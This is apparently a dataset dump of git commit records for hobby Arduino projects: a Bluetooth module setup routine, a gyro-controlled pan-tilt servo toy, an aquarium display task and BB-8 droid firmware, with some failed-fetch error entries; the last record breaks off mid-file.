BLE_Setup(void) {\n \/\/ get into command mode\n USB_Serial->println(\"*** Switching Tympan RevD BT module into command mode...\");\n myTympan.forceBTtoDataMode(false); delay(500);\n BT_Serial->print(\"$\"); delay(400);\n BT_Serial->print(\"$$$\"); delay(400);\n delay(2000);\n echoIncomingBTSerial();\n echoIncomingUSBSerial();\n USB_Serial->println(\"*** Should be in command mode.\");\n\n USB_Serial->println(\"*** Clearing buffers. Sending carriage return.\");\n BT_Serial->print(\"\\r\"); delay(500);\n USB_Serial->println(\"*** Should have gotten 'Error', which is fine here.\");\n\n \/\/ restore factory defaults\n USB_Serial->println(\"*** Restoring factory defaults...\");\n BT_Serial->print(\"RESTORE\"); BT_Serial->print('\\r'); delay(500);echoIncomingBTSerial();\n BT_Serial->print(\"WRITE\"); BT_Serial->print('\\r'); delay(500);echoIncomingBTSerial();\n BT_Serial->print(\"RESET\"); BT_Serial->print('\\r'); delay(1500);echoIncomingBTSerial();\n USB_Serial->println(\"*** Reset should be complete. Did it give two 'OK's, an ID blurb, and then 'READY'?\");\n\n \/\/ Is this necessary?\n \/\/ set the GP IO pins so that the data mode \/ command mode can be set by hardware\n USB_Serial->println(\"*** Setting GPIOCONTROL mode to OFF, which is what we need...\");\n BT_Serial->print(\"SET GPIOCONTROL=OFF\");BT_Serial->print('\\r'); delay(500);echoIncomingBTSerial();\n BT_Serial->print(\"WRITE\"); BT_Serial->print('\\r'); delay(500); echoIncomingBTSerial();\n\n \/\/ set advertising\n USB_Serial->println(\"*** Set advertising on...\");\n BT_Serial->print(\"ADVERTISING ON\\r\"); delay(500); echoIncomingBTSerial();\n USB_Serial->println(\"*** Advertising on.\");\n\n while(1) {\n if(BT_Serial->available()) {\n readBTResponse();\n USB_Serial->print(\"*** Response = \"); USB_Serial->println(response);\n response.trim();\n \n if(response.equalsIgnoreCase(\"OPEN_OK BLE\")) {\n USB_Serial->println(\"*** Connected.\");\n break;\n }\n\n delay(2000);\n }\n }\n\n USB_Serial->println(\"*** BLE Connected.\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/02-Utility\/EchoBLE\/EchoBLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"862ab730183f683297ad013614a3eab7edda6723","subject":"Kapitola: Za\u010d\u00edname s robotom","message":"Kapitola: Za\u010d\u00edname s robotom","repos":"Galeje\/Cing","old_file":"Programy\/01_Chodenie rovno a doprava.ino","new_file":"Programy\/01_Chodenie rovno a doprava.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/01_Chodenie' did not match any file(s) known to git\nerror: pathspec 'rovno' did not match any file(s) known to git\nerror: pathspec 'a' did not match any file(s) known to git\nerror: pathspec 'doprava.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6b0d39b26de0cecfbb7d800d8695153c7734f79c","subject":"Initial Commit - Arduino pan-tilt robot code using MPU6050 gryo\/accelerometer to mimic head-tracking shoulder cannon, similar to the one in the Predator movie. This is the single-gyro code seen in https:\/\/www.youtube.com\/watch?v=FX67M_g3Bmk","message":"Initial Commit - Arduino pan-tilt robot code using MPU6050 gryo\/accelerometer to mimic head-tracking shoulder cannon, similar to the one in the Predator movie. This is the single-gyro code seen in https:\/\/www.youtube.com\/watch?v=FX67M_g3Bmk\n","repos":"otacsum\/arduino,otacsum\/arduino","old_file":"ardu-predator\/ardu-predator.ino","new_file":"ardu-predator\/ardu-predator.ino","new_contents":"#include \"I2Cdev.h\"\n#include \"MPU6050_6Axis_MotionApps20.h\"\n#include \"Wire.h\"\n#include \"Servo.h\"\n\n\/\/initialize gyro instance\n\/\/TODO: Change this to initialize two gyros with +VDC\/Ground arguments\nMPU6050 mpu;\n\n\/\/initialize servo instances\nServo yawServo;\nServo pitchServo;\n\n#define DEBUG \/\/Comment to turn off Serial printing\n\n\/\/Debug serial printing macros\n#ifdef DEBUG\n\t\/\/#define DPRINT(args...) Serial.print(args) \/\/OR use the following syntax:\n\t#define DPRINTSTIMER(t) for (static unsigned long SpamTimer; (unsigned long)(millis() - SpamTimer) >= (t); SpamTimer = millis())\n\t#define DPRINTSFN(StrSize,Name,...) {char S[StrSize];Serial.print(\"\\t\");Serial.print(Name);Serial.print(\" \"); Serial.print(dtostrf((float)__VA_ARGS__ ,S));}\/\/StringSize,Name,Variable,Spaces,Percision\n\t#define DPRINTLN(...) Serial.println(__VA_ARGS__)\n#else\n\t#define DPRINTSTIMER(t) if(false)\n\t#define DPRINTSFN(...) \/\/blank line\n\t#define DPRINTLN(...) \/\/blank line\n#endif\n\n\n\/\/TODO: Find out if it's really necessary to turn on this LED...probably not.\nconst int LED_PIN = 13;\n\n\/\/Prevent the servos from turning beyond mechanical limits \nconst int maxPitch = 135;\nconst int minPitch = 45;\n\/\/Yaw direction is inverted via map() method in moveServos()\nconst int maxYaw = 135;\nconst int minYaw = 45;\n\n\n\/\/ supply gyro offsets here, scaled for min sensitivity use MPU6050_calibration.ino\n\/\/ Gyro 0 (head) calibrated at: {-3074, -2036, 1236, 63, -16, 78}\n\/\/ XA YA ZA XG YG ZG\nint MPUOffsets0[6] = {-3074, -2036, 1236, 63, -16, 78};\n\nunsigned long currentMillis = 0; \/\/ stores the value of millis() in each iteration of loop()\nunsigned long prevMillis = 0; \/\/ stores the value of millis() in each iteration of loop()\n\nint pos = 0; \/\/ variable to store the servo position when testing\n\n\/\/ ================================================================\n\/\/ === i2c SETUP Items ===\n\/\/ ================================================================\nvoid i2cSetup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n#elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n#endif\n}\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\/\/ ================================================================\n\/\/ === MPU DMP SETUP ===\n\/\/ ================================================================\nint FifoAlive = 0; \/\/ tests if the interrupt is triggering\nint IsAlive = -20; \/\/ counts interrupt start at -20 to get 20+ good values before assuming connected\n\/\/ MPU control\/status vars\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\nbyte StartUP = 100; \/\/ lets get 100 readings from the MPU before we start trusting them (Bot is not trying to balance at this point it is just starting up.)\n\nvoid MPU6050Connect() {\n static int MPUInitCntr = 0;\n \/\/ initialize device\n mpu.initialize(); \/\/ same\n \/\/ load and configure the DMP\n devStatus = mpu.dmpInitialize();\/\/ same\n\n if (devStatus != 0) {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n\n char * StatStr[5] { \"No Error\", \"initial memory load failed\", \"DMP configuration updates failed\", \"3\", \"4\"};\n\n MPUInitCntr++;\n\n Serial.print(F(\"MPU connection Try #\"));\n Serial.println(MPUInitCntr);\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(StatStr[devStatus]);\n Serial.println(F(\")\"));\n\n if (MPUInitCntr >= 10) return; \/\/only try 10 times\n delay(1000);\n MPU6050Connect(); \/\/ Lets try again\n return;\n }\n mpu.setXAccelOffset(MPUOffsets0[0]);\n mpu.setYAccelOffset(MPUOffsets0[1]);\n mpu.setZAccelOffset(MPUOffsets0[2]);\n mpu.setXGyroOffset(MPUOffsets0[3]);\n mpu.setYGyroOffset(MPUOffsets0[4]);\n mpu.setZGyroOffset(MPUOffsets0[5]);\n\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt pin 2 on the Uno)...\"));\n Serial.print(\"mpu.getInterruptDrive= \"); Serial.println(mpu.getInterruptDrive());\n attachInterrupt(0, dmpDataReady, RISING); \/\/pin 2 on the Uno\n mpuIntStatus = mpu.getIntStatus(); \/\/ Same\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n delay(1000); \/\/ Let it Stabalize\n mpu.resetFIFO(); \/\/ Clear fifo buffer\n mpu.getIntStatus();\n mpuInterrupt = false; \/\/ wait for next interrupt\n}\n\n\n\/\/ ================================================================\n\/\/ === MPU DMP Get Data ===\n\/\/ ================================================================\nvoid GetDMP() { \/\/ Best version I have made so far\n \/\/ Serial.println(F(\"FIFO interrupt at:\"));\n \/\/ Serial.println(micros());\n static unsigned long LastGoodPacketTime;\n mpuInterrupt = false;\n FifoAlive = 1;\n fifoCount = mpu.getFIFOCount();\n if ((!fifoCount) || (fifoCount % packetSize)) { \/\/ we have failed Reset and wait till next time!\n digitalWrite(LED_PIN, LOW); \/\/ lets turn off the blinking light so we can see we are failing.\n mpu.resetFIFO();\/\/ clear the buffer and start over\n } else {\n while (fifoCount >= packetSize) { \/\/ Get the packets until we have the latest!\n mpu.getFIFOBytes(fifoBuffer, packetSize); \/\/ lets do the magic and get the data\n fifoCount -= packetSize;\n }\n LastGoodPacketTime = millis();\n MPUMath(); \/\/ <<<<<<<<<<<<<<<<<<<<<<<<<<<< On success MPUMath() <<<<<<<<<<<<<<<<<<<\n digitalWrite(LED_PIN, !digitalRead(LED_PIN)); \/\/ Blink the Light\n }\n}\n\n\n\/\/ ================================================================\n\/\/ === MPU Math ===\n\/\/ ================================================================\nfloat Yaw, Pitch, Roll;\nvoid MPUMath() {\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n\n \/\/TODO: Move the +90 gyro\/servo leveling math to another method, \n \/\/it doesn't belong here and will cause readability problems later.\n Yaw = (ypr[0] * 180.0 \/ M_PI) + 90;\n Pitch = (ypr[1] * 180.0 \/ M_PI) + 90;\n Roll = (ypr[2] * 180.0 \/ M_PI) + 90;\n\n \/*\n \/\/Serial.log the current actual values of the gyro position.\n DPRINTSTIMER(100) {\n DPRINTSFN(15, \"\\tYaw:\", Yaw, 6, 1);\n DPRINTSFN(15, \"\\tPitch:\", Pitch, 6, 1);\n DPRINTSFN(15, \"\\tRoll:\", Roll, 6, 1);\n DPRINTLN();\n }\n *\/\n\n if (currentMillis >= prevMillis + 15) {\n moveServos(round(Yaw), round(Pitch));\n }\n\n\n}\n\n\/**\n * Move the servos to the gyro postion\n * =============================================================\n *\n * @author Mike Muscato\n * @date 2017-01-14\n *\n * @param {integer} int servoYaw The rounded angle of the z-axis rotation of the gyro\n * @param {integer} int servoPitch The rounded angle of the y-axis rotation of the gryo\n * @return {void} \n *\/\nvoid moveServos(int servoYaw, int servoPitch) {\n\n \/\/TODO: Determine if yaw\/pitch is beyond normal servo angles\n \/\/i.e. > 179 or < 0\n \/\/If so, assume actual gyro position and provide max servo value.\n \/\/Create trimAngles() method.\n \n \/\/Invert Yaw\n int invertedYaw = map(servoYaw, 0, 179, 179, 0);\n\n \/\/Prevent the servos from moving farther than my head can rotate.\n if (invertedYaw > maxYaw) {\n invertedYaw = maxYaw;\n }\n else if (invertedYaw < minYaw) {\n invertedYaw = minYaw; \n }\n\n \/\/Prevent the servos from tilting farther than my head can nod.\n if (servoPitch > maxPitch) {\n servoPitch = maxPitch;\n }\n else if (servoPitch < minPitch) {\n servoPitch = minPitch; \n }\n\n DPRINTSTIMER(100) {\n DPRINTSFN(15, \"\\tServo - Yaw:\", servoYaw, 6, 1);\n DPRINTSFN(15, \"\\tServo - invertYaw:\", invertedYaw, 6, 1);\n DPRINTSFN(15, \"\\tPitch:\", servoPitch, 6, 1);\n DPRINTLN();\n }\n\n\n yawServo.write(invertedYaw);\n pitchServo.write(servoPitch);\n\n prevMillis = currentMillis;\n\n}\n\n\n\/\/ ================================================================\n\/\/ === Setup ===\n\/\/ ================================================================\nvoid setup() {\n Serial.begin(115200); \/\/115200\n while (!Serial);\n Serial.println(\"i2cSetup\");\n i2cSetup();\n Serial.println(\"MPU6050Connect\");\n MPU6050Connect();\n Serial.println(\"Setup complete\");\n pinMode(LED_PIN, OUTPUT);\n\n yawServo.attach(9);\n pitchServo.attach(10);\n\n yawServo.write(90);\n pitchServo.write(90);\n}\n\n\n\/\/ ================================================================\n\/\/ === Loop ===\n\/\/ ================================================================\nvoid loop() {\n currentMillis = millis(); \/\/ capture the latest value of millis()\n if (mpuInterrupt ) { \/\/ wait for MPU interrupt or extra packet(s) available\n GetDMP();\n }\n\n \/\/for calibrating the start position in the hardware. \n \/\/TODO: Comment when completed or it will conflict with the \n \/\/motion of the robot.\n \/\/ yawServo.write(90);\n \/\/ pitchServo.write(90);\n\n \/\/for testing hardware \n \/\/ \/\/TODO: Comment when completed\n \/\/ for (pos = 0; pos <= 180; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ \/\/ in steps of 1 degree\n \/\/ yawServo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n \/\/ delay(20); \/\/ waits 15ms for the servo to reach the position\n \/\/ }\n \/\/ for (pos = 180; pos >= 0; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n \/\/ yawServo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n \/\/ delay(20); \/\/ waits 15ms for the servo to reach the position\n \/\/ }\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardu-predator\/ardu-predator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4814c73de59a282d692b9ee664a1faee7f05454","subject":"added the pin mappings","message":"added the pin mappings\n\nTHIS IS A FUNCTIONAL TEST.","repos":"GaParmar\/quadcopter,GaParmar\/quadcopter","old_file":"esc_test.ino","new_file":"esc_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GaParmar\/quadcopter.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7b4fd7689bcf543c5719400d5859ff8c0f9f9a7a","subject":"Added new commant RQ_SET_GLOBAL","message":"Added new commant RQ_SET_GLOBAL\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c0d04a7eaa187d90847544b4e018c75f48e9d20c","subject":"Refactored tftTask.","message":"Refactored tftTask.\n","repos":"CelliesProjects\/aquacontrol32,CelliesProjects\/aquacontrol32,CelliesProjects\/aquacontrol32,CelliesProjects\/aquacontrol32","old_file":"tfttask.ino","new_file":"tfttask.ino","new_contents":"void tftTask( void * pvParameters )\n{\n const uint16_t TFT_TEXT_COLOR = ILI9341_YELLOW;\n const uint16_t TFT_DATE_COLOR = ILI9341_BLUE;\n const uint16_t TFT_TEMP_COLOR = ILI9341_WHITE;\n const uint16_t TFT_BACK_COLOR = ILI9341_BLACK;\n\n tft.begin( 35000000, SPI );\n uint8_t x = tft.readcommand8( ILI9341_RDSELFDIAG );\n Serial.print( \"ILI9341 TFT Self Diagnostic: 0x\" ); Serial.println( x, HEX );\n\n tft.fillScreen( TFT_BACK_COLOR );\n\n digitalWrite( TFT_BACKLIGHT_PIN, HIGH );\n\n ( readStringNVS( \"tftorientation\", \"normal\" ) == \"normal\" ) ? tftOrientation = TFT_ORIENTATION_NORMAL : tftOrientation = TFT_ORIENTATION_UPSIDEDOWN;\n tft.setRotation( tftOrientation );\n\n int tftTaskdelayTime = 1000 \/ UPDATE_FREQ_LEDS;\n\n while (1)\n {\n const uint16_t BARS_BOTTOM = 205;\n const uint16_t BARS_HEIGHT = BARS_BOTTOM;\n const uint16_t BARS_BORDER = 10;\n const uint16_t BARS_WIDTH = ILI9341_TFTHEIGHT \/ 5;\n const float HEIGHT_FACTOR = BARS_HEIGHT \/ 100.0;\n\n for ( byte thisChannel = 0; thisChannel < NUMBER_OF_CHANNELS; thisChannel++ )\n {\n \/\/convert from String to RGB color\n \/\/https:\/\/stackoverflow.com\/questions\/2342114\/extracting-rgb-color-components-from-integer-value\/2342149#2342149\n int r, g, b;\n uint32_t color = strtol( &channel[thisChannel].color[1], NULL, 16 );\n r = ( color & 0xFF0000 ) >> 16; \/\/ Filter the 'red' bits from color. Then shift right by 16 bits.\n g = ( color & 0x00FF00 ) >> 8; \/\/ Filter the 'green' bits from color. Then shift right by 8 bits.\n b = ( color & 0x0000FF ); \/\/ Filter the 'blue' bits from color. No shift needed.\n\n \/\/ redraw the top part of the bar\n tft.fillRect( thisChannel * BARS_WIDTH + BARS_BORDER,\n BARS_BOTTOM - BARS_HEIGHT,\n BARS_WIDTH - BARS_BORDER * 2,\n BARS_HEIGHT - channel[thisChannel].currentPercentage * HEIGHT_FACTOR,\n TFT_BACK_COLOR );\n \/*\n \/\/high water mark\n tft.drawFastHLine( thisChannel * BARS_WIDTH + BARS_BORDER,\n BARS_BOTTOM - BARS_HEIGHT - 1,\n BARS_WIDTH - BARS_BORDER * 2,\n tft.color565( r, g, b ) );\n *\/\n tft.fillRect( thisChannel * BARS_WIDTH + BARS_BORDER,\n BARS_BOTTOM - channel[thisChannel].currentPercentage * HEIGHT_FACTOR,\n BARS_WIDTH - BARS_BORDER * 2,\n channel[thisChannel].currentPercentage * HEIGHT_FACTOR,\n tft.color565( r, g, b ) );\n\n tft.setCursor( thisChannel * BARS_WIDTH + 9, BARS_BOTTOM + 4 );\n tft.setTextSize( 1 );\n tft.setTextColor( TFT_TEXT_COLOR , TFT_BACK_COLOR );\n\n char buffer [9];\n snprintf( buffer, sizeof( buffer ), \"%*\" \".3f%%\", 7, channel[thisChannel].currentPercentage );\n tft.print( buffer );\n }\n\n tft.setTextSize( 2 );\n if ( numberOfFoundSensors )\n {\n for ( byte thisSensor = 0; thisSensor < numberOfFoundSensors; thisSensor++ )\n {\n tft.setCursor( 0, BARS_BOTTOM + 15 );\n tft.setTextColor( TFT_TEMP_COLOR , TFT_BACK_COLOR );\n tft.print( \" \" + String( sensor[thisSensor].temp \/ 16.0 ) + (char)247 + \"C \" );\n }\n }\n else\n {\n struct tm timeinfo;\n getLocalTime( &timeinfo );\n tft.setCursor( 18, BARS_BOTTOM + 15 );\n tft.setTextColor( TFT_DATE_COLOR , TFT_BACK_COLOR );\n tft.print( asctime( &timeinfo ) );\n }\n vTaskDelay( tftTaskdelayTime \/ portTICK_PERIOD_MS );\n }\n}\n","old_contents":"void tftTask( void * pvParameters )\n{\n tft.begin( 35000000, SPI );\n uint8_t x = tft.readcommand8(ILI9341_RDSELFDIAG);\n Serial.print(\"ILI9341 TFT Self Diagnostic: 0x\"); Serial.println(x, HEX);\n\n tft.fillScreen(ILI9341_BLACK);\n\n digitalWrite( TFT_BACKLIGHT_PIN, HIGH );\n\n ( readStringNVS( \"tftorientation\", \"normal\" ) == \"normal\" ) ? tftOrientation = TFT_ORIENTATION_NORMAL : tftOrientation = TFT_ORIENTATION_UPSIDEDOWN;\n tft.setRotation( tftOrientation );\n\n int tftTaskdelayTime = 1000 \/ UPDATE_FREQ_LEDS;\n\n while (1)\n {\n const uint16_t TFT_TEXT_COLOR = ILI9341_YELLOW;\n const uint16_t TFT_DATE_COLOR = ILI9341_BLUE;\n const uint16_t TFT_TEMP_COLOR = ILI9341_WHITE;\n const uint16_t TFT_BACK_COLOR = ILI9341_BLACK;\n\n const uint16_t BARS_BOTTOM = 181;\n const uint16_t BARS_HEIGHT = 180;\n const uint16_t BARS_BORDER = 10;\n const uint16_t BARS_WIDTH = ILI9341_TFTHEIGHT \/ 5;\n const float HEIGHT_FACTOR = BARS_HEIGHT \/ 100.0;\n\n for ( byte thisChannel = 0; thisChannel < NUMBER_OF_CHANNELS; thisChannel++ )\n {\n \/\/convert from String to RGB color\n \/\/https:\/\/stackoverflow.com\/questions\/2342114\/extracting-rgb-color-components-from-integer-value\/2342149#2342149\n int r, g, b;\n uint32_t color = strtol( &channel[thisChannel].color[1], NULL, 16 );\n r = ( color & 0xFF0000 ) >> 16; \/\/ Filter the 'red' bits from color. Then shift right by 16 bits.\n g = ( color & 0x00FF00 ) >> 8; \/\/ Filter the 'green' bits from color. Then shift right by 8 bits.\n b = ( color & 0x0000FF ); \/\/ Filter the 'blue' bits from color. No shift needed.\n\n \/\/ redraw the top part of the bar\n tft.fillRect( thisChannel * BARS_WIDTH + BARS_BORDER,\n BARS_BOTTOM - BARS_HEIGHT,\n BARS_WIDTH - BARS_BORDER * 2,\n BARS_HEIGHT - channel[thisChannel].currentPercentage * HEIGHT_FACTOR,\n TFT_BACK_COLOR );\n \/*\n \/\/high water mark\n tft.drawFastHLine( thisChannel * BARS_WIDTH + BARS_BORDER,\n BARS_BOTTOM - BARS_HEIGHT - 1,\n BARS_WIDTH - BARS_BORDER * 2,\n tft.color565( r, g, b ) );\n *\/\n tft.fillRect( thisChannel * BARS_WIDTH + BARS_BORDER,\n BARS_BOTTOM - channel[thisChannel].currentPercentage * HEIGHT_FACTOR,\n BARS_WIDTH - BARS_BORDER * 2,\n channel[thisChannel].currentPercentage * HEIGHT_FACTOR,\n tft.color565( r, g, b ) );\n\n tft.setCursor( thisChannel * BARS_WIDTH + 12, BARS_BOTTOM + 4 );\n tft.setTextSize( 1 );\n tft.setTextColor( TFT_TEXT_COLOR , TFT_BACK_COLOR );\n\n char buffer [9];\n snprintf( buffer, sizeof( buffer ), \"%*\" \".3f%%\", 7, channel[thisChannel].currentPercentage );\n tft.print( buffer );\n }\n\n tft.setCursor( 0, BARS_BOTTOM + 20 );\n tft.setTextSize( 2 );\n tft.setTextColor( TFT_TEMP_COLOR , TFT_BACK_COLOR );\n\n if ( numberOfFoundSensors )\n {\n for ( byte thisSensor = 0; thisSensor < numberOfFoundSensors; thisSensor++ )\n {\n tft.print( \" \" + String( sensor[thisSensor].temp \/ 16.0 ) + (char)247 + \"C \" );\n }\n }\n\n tft.setCursor( 60, BARS_BOTTOM + 40 );\n tft.setTextColor( TFT_TEMP_COLOR , TFT_BACK_COLOR );\n\n tft.print( lightStatus );\n\n vTaskDelay( tftTaskdelayTime \/ portTICK_PERIOD_MS );\n }\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"67c92d8a184bd9e9076de18dae0595e00ddef9da","subject":"Create BB-UNIT.ino","message":"Create BB-UNIT.ino","repos":"Gruniek\/BB-UNIT,Gruniek\/BB-UNIT","old_file":"Firmware\/BB-UNIT\/BB-UNIT.ino","new_file":"Firmware\/BB-UNIT\/BB-UNIT.ino","new_contents":"String version = \"0.2.1\";\n\/*\n - OPEN BB-X -\n A open source BB-8 for create you own BB-8!\n ###########################################\n\n https:\/\/github.com\/Gruniek\/OPEN-BB-X\n Made by Daniel M\/Gruniek\/\n \n Compatible only with an Arduino MEGA 2560 and the specific PCB.\n PCB Link : https:\/\/github.com\/Gruniek\/OPEN-BB-X\/tree\/master\/Head\/Stabiliser\/PCB\n \n --------------\n - Change log -\n --------------\n \n 11\/2016\n =========\n - Conversion for a Arduino Mega 2560 Board\n - ADD motor A and B\n - FIX alls bug for stabilisation\n - ADD BOOT, STAT, ROTATE command\n - ADD Z motor configuration and production\n - ADD BOOT mode, for initilize or reinizialize the Droid position\n \n 10\/2016\n ==========\n - Add PID for X and Y\n \n \n To do list\n ==========\n - Add Z rotation controller\n - Add Rx\/Tx from the motherboard for change de coordinate of the head, \n rotate the head and report to the remote the status off all sensors\/positiom.\n \n \n Big thanks for http:\/\/r2builders.fr\/ !\n Initial project : http:\/\/r2builders.fr\/forum\/viewtopic.php?f=26&t=3928&hilit=BB8+par+MOUS\n \n ===============\n EXEMPLE COMMAND \n ===============\n < SET >\n 'SET x87 y75 h3 \\n' \/\/ SET a new setpoint for x and y with 3degree of Hysteressis\n 'SET x90 y90 i1 j0 k1 \\n' \/\/ SET an inversion of the sensor X Y and invert the direction of X\n \n \tx = SETPOINT for X\n\ty = SETPOINT for Y\n\tm = MULTIPLIER FOR THE SPEED OF THE MOTOR X and Y\n\ti = INVERT the angle sensor ( X = Y and Y = X )\n\tj = INVERT the direction of X\n\tk = INVERT the direction of Y\n\th = SET a new HYSTERESSIS \n\n < BOOT > \n 'BOOT \\n' \/\/ LAUNCH TEST for X, Y and Z -> Return X and Y to initial SETPOINT (x90 y90 ) and Z to ZERO\n\n < RUN >\n 'RUN \\n' \/\/ RUN the code in production mode (Recieved all data, X and Y runing for the SETPOINT poistion and Z folow the remote controll\n \n < STOP > \n 'STOP \\n' \/\/ STOP the production mode. All motors are stopped.\n \n < ROTATE >\n 'ROTATE d1 s100 \\n' \/\/ ROTATE Z motor on the RIGHT DIRECTION (d0 LEFT, d1 RIGHT) WITH the SPEED at 1000\/100 = 10 step\/sec = 18dec\/sec\n \n < STAT >\n \/\/ It is all data SENDED to the remote\n \n < ENABLE > \n 'ENABLE a1 x1 z1 \\n' \/\/ ENABLE MOTOR AB, XY and Z (a = AB, x=XY, z = Z | 0 = desabled | 1 = enabled )\n \n*\/\n\n#include \"Wire.h\"\n#include \"MPU6050.h\"\n#include <SPI.h>\n#include <nRF24L01.h>\n#include <RF24.h>\n\n\n\/\/ RF24\nRF24 radio(54, 55);\n\n\/\/ MPU6050\nMPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\/\/ MOTOR CONFIGURATION \/\/ YOU CAN TOUCH THIS \n\nbool invertA = false; \/\/ INVERT THE A MOTOR DIRECTION\nbool invertB = false; \/\/ INVERT THE B MOTOR DIRECTION\nbool invertX = false; \/\/ INVERT THE X MOTOR DIRECTION\nbool invertY = true; \/\/ INVERT THE Y MOTOR DIRECTION\nbool invertXY = false; \/\/ INVERT X Y AXIAL \n\nint minX = 45; \/\/ SET THE MIN INCLINAISON FOR X\nint maxX = 135; \/\/ SET THE MAX INCLINAISON FOR X\nint minY = 45; \/\/ SET THE MIN INCLINAISON FOR Y\nint maxY = 135; \/\/ SET THE MAX INCLINAISON FOR Y\n\nint etalonX = 0; \/\/ AJUSTEMENT FOR X\nint etalonY = -6; \/\/ AJUSTEMENT FOR Y\n\nint hysteresis = 1; \/\/ HYSTERESSIS FOR THE ANGLE CALCULATION\n\n\/\/ \n\/\/=====================\/\/\n\/\/ NOW YOU CAN'T TOUCH \/\/\n\/\/=====================\/\/\n\n\/\/PINOUT\n\n#define pinEnableXY 2 \/\/ Activation off all stepper\n#define pinEnableAB 3\n#define pinEnableZ 4\n\n#define pinStepA 5 \/\/ PIN STEP FOR X\n#define pinDirA 6 \/\/ PIN DIRECTION FOR X \n\n#define pinStepB 7 \/\/ PIN STEP FOR X\n#define pinDirB 8 \/\/ PIN DIRECTION FOR X \n\n#define pinStepX 9 \/\/ PIN STEP FOR X\n#define pinDirX 10 \/\/ PIN DIRECTION FOR X \n\n#define pinStepY 11 \/\/ PIN STEP FOR Y\n#define pinDirY 12 \/\/ PIN DIRECTION FOR Y\n\n#define pinStepZ 14 \/\/ PIN STEP FOR Y\n#define pinDirZ 15 \/\/ PIN DIRECTION FOR Y\n\n#define Z_POSITION 16 \/\/ PIN FOR THE DIGITAL INPUT FOR THE HEAD POSITION\n\n#define PING 13 \n\n#define CurrentBat1 0\n#define CurrentBat2 1\n#define CurrentBat3 2\n#define CurrentBat4 3\n#define Pinvoltage 6\n\n\/\/ I2C\nint adress = 2;\n\n\/\/ MOTOR VARIABLE\nint speedA = 0;\nint speedB = 0;\nbool runA = false;\nbool runB = false;\nbool dirA = true; \/\/ true = Front | false = back\nbool dirB = true; \/\/ true = Front | false = back\n\nint x = 0; \nint y = 0; \nint vx = 0; \nint vy = 0; \n\nint speedX = 0;\nint speedY = 0;\nint speedZ = 0;\nint setpointX = 90; \nint setpointY = 90; \n\nint Zangle = 0;\nbool newData = false;\n\nint multiplier = 15;\nint emergencyStop = 11; \/\/ PIN\nint eStop = 12; \/\/ PIN\nbool emgStop = false;\n\nbool runX = false; \nbool runY = false; \nbool runZ = false;\nbool directX = false; \/\/ false = Gauche \/ true = droite\nbool directY = false; \/\/ false = Gauche \/ true = droite\nbool directZ = false; \/\/ false = Gauche \/ true = droite\n\nbool xok = false;\nbool 